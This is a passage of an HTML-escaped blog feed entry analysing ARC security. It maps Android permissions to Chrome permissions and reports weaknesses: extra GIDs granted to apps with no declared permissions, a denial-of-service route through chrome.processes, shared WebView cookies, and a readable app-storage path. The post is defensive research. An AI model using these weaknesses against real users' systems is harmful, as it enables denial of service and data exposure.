&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;identity&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;audioCapture&amp;quot;&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Therefore, the first solution is to build a map between 
Android app permissions to Chrome App permissions and instrument
the repackaging script to scan for Android permissions first
and declare only necessary Chrome permissions for the repackaged app.&lt;/p&gt;
&lt;p&gt;Following this approach, there are two difficulties to be overcome:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1) Get the list of permissions honored by ARC&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;As the permissions declarable in the ARC environment
might be different compared with the stock Android,
we can not rely on the stock Android OS image for the permission list 
(plus there is no official document that provides an exhaustive
permission list available for Android). 
This problem is tackled by dynamically probing &lt;code&gt;PackageManager&lt;/code&gt;
with the following code snippet:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;getPackageManager&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;getPackageInfo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;android&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PackageManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;GET_PERMISSIONS&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This &lt;a href="https://github.com/meng-xu/chromeos-apk/blob/master/perm/android-perm.json"&gt;file&lt;/a&gt; 
lists the permissions available for ARC environment with protection level=dangerous, 
extracted by the app &lt;code&gt;AndroidPermissionProber&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2) Manually map Android permissions to Chrome permissions&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately, this process cannot be automated because it requires a lot of
domain knowledge. Although similar in nature, the two permission models are not
designed the same way, by the same team, or to be used in the same scenarios,
which creates a lot of mismatch between these two models. Based on my 
experiments and understanding, I finally ended up with the following mapping:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;permission&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;android.permission.SYSTEM_ALERT_WINDOW&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;alarms&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;notifications&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;android.permission.CAMERA&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;videoCapture&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;android.permission.INTERNET&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;socket&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;tcp-connect&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;tcp-listen&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;udp-bind&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                               &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;udp-send-to&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;resolve-host&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]}],&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;android.permission.NFC&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;copresence&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;android.permission.RECORD_AUDIO&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;audio&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;audioCapture&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;android.permission.WRITE_EXTERNAL_STORAGE&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;storage&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;unlimitedStorage&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;android.permission.ACCESS_FINE_LOCATION&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;location&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;geolocation&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;android.permission.AUTHENTICATE_ACCOUNTS&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;identity&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;android.permission.USE_CREDENTIALS&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;identity&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;android.permission.MANAGE_ACCOUNTS&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;identity&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;manifest&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;android.permission.BLUETOOTH&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;bluetooth&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;socket&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;low_energy&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;}}],&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;android.permission.BLUETOOTH_ADMIN&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;bluetooth&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;socket&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;low_energy&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;}}]&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Instrumenting the repackaging script to scan for Android permissions
is trivial given the &lt;code&gt;adbkit-apkreader&lt;/code&gt; library.&lt;/p&gt;
&lt;h2&gt;Future work&lt;/h2&gt;
&lt;p&gt;The above solution, although works in practice, might not be the
best solution as it totally abandoned the GID/UID based permission
model in Android OS. For example, an app with INTERNET permission
is effectively being assigned with GID 3003. However, when we try to
find the assigned GIDs for a no-permission app in ARC environment, we
found that ARC assigns a lot more GIDs than necessary to the app!&lt;/p&gt;
&lt;p&gt;&lt;img alt="aid" src="/blog/arc-security/aid.jpg"&gt;&lt;/p&gt;
&lt;center&gt; Assigned GID in ARC environment (left) and assigned GID in stock Android OS (right). &lt;/center&gt;

&lt;p&gt;For example, the same app &lt;code&gt;TestAppID&lt;/code&gt; (without any permissions declared) is tested in
ARC (left) as well as Android Emulator in Android SDK (right). It has normal
GIDs in the Emulator but ARC assigns more GIDs (including GID 3003 representing
INTERNET permission) to the app, which essentially allows the app to have
INTERNET permission (as long as the outer Chrome permission allows).&lt;/p&gt;
&lt;p&gt;I am currently unclear of the cause of this issue. I suspect that 
these GIDs are hard-coded into the ARC so that
each app is automatically granted with these permissions. Such a design
choice enables quick development and testing of core functions of ARC
and reduces app crashes caused permission enforcement issues. However,
this loophole, if not fixed, might grow to a more serious security issue once
ARC gets popular. I believe it is worthwhile to have more investigations 
on this matter and fix it as soon as possible. &lt;/p&gt;
&lt;h1&gt;Inter-"Component" Interaction&lt;/h1&gt;
&lt;p&gt;Inter-"component" interaction here refers to the potential interactions
between ARC app and (1) other ARC apps, 
(2) other Chrome extensions and apps,
(3) webpages, and 
(4) the underlying OS.&lt;/p&gt;
&lt;p&gt;I have been trying to launch attacks against ARC app from outside of ARC 
environment but encountered little successes. Therefore, I came to the 
general conclusion that there is no particular advantage gained by attacking
the ARC model, because of ARC being heavily sandboxed. &lt;/p&gt;
&lt;p&gt;&lt;img alt="arc-sandbox" src="/blog/arc-security/arc-sandbox.jpg"&gt;&lt;/p&gt;
&lt;center&gt;Sandboxes of ARC environment&lt;/center&gt;

&lt;p&gt;The intuition is that: in order for an ARC app to do any harm to other Chrome
components (apps, extensions or webpages), it must break the NaCl sandbox and
the Chrome app (renderer) sandbox. In other word, if there is a way that ARC app
can leverage to break these sandboxes (for example, through JNI), it can
always be translated to a break of Chrome app sandbox. Hence, there is no
additional advantage gained by attacking Chrome from the ARC app.&lt;/p&gt;
&lt;p&gt;In addition, following is a list of findings 
I have gained by experimenting with the ARC.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;There is no app-to-app interaction on ARC. 
This implies that if an Android app is malicious on Android without cooperation
from other apps, then when ported to ARC, the app is still malicious.
And, if an Android app is malicious on Android but does requires cooperation
from other apps (i.e., one can exploit vulnerabilities in ContentProvider 
of SMS app to steal messages). The app will not work on ARC because
ARC is designed for &lt;strong&gt;single&lt;/strong&gt; app settings and there will not be another
SMS app installed.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Android rooting does not make much sense. 
Rooting or in broader term, system privilege escalation attack generally 
has two purposes: (1) extract hidden information (like information of 
other apps) or (2) gain additional capabilities (like networking). However,
in ARC, (1) is not possible. And protected by Chrome permission model,
(2) is not possible.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Chrome extension may cause launch of a DoS attack against ARC app, leveraging
the &lt;code&gt;chrome.processes&lt;/code&gt; &lt;a href="https://developer.chrome.com/extensions/processes"&gt;API&lt;/a&gt;
and repeatedly killing the NaCl process that hosts ARC. However, 
this feature can be used to kill any other processes (including webpages)
and are not specific to ARC. One can play with this feature with the
&lt;code&gt;processes&lt;/code&gt; program in &lt;code&gt;crx&lt;/code&gt; folder.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The system default browser will have the cookies generated and consumed by 
the ARC app if the ARC app uses &lt;code&gt;WebView&lt;/code&gt; to browse for web contents.
You can play with this feature with the &lt;code&gt;cookies&lt;/code&gt; program in &lt;code&gt;crx&lt;/code&gt; folder
and the &lt;code&gt;TestIntentBrowser&lt;/code&gt; app.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Data stored in both "internal" storage (phone storage) or "external" storage
(SD card) are not safe. ARC will store these data in an obfuscated (but still 
understandable) filesystem and one may find these items in path 
&lt;code&gt;{Chrome support folder}/Default/Storage/ext/{app id}/def/File System/&lt;/code&gt; (For Mac OS).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ARC app may have access to OS Filesystem (via browser file chooser), but
will not be able to modify them, i.e. ARC will first copy these items to a
different location and feed the app with the copy instead of the original file.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p align="right"&gt;Proofread by Sanidhya Kashyap and Taesoo Kim.&lt;/p&gt;</content><category term="Blog"></category><category term="ARC"></category><category term="Android"></category><category term="Security"></category></entry></feed>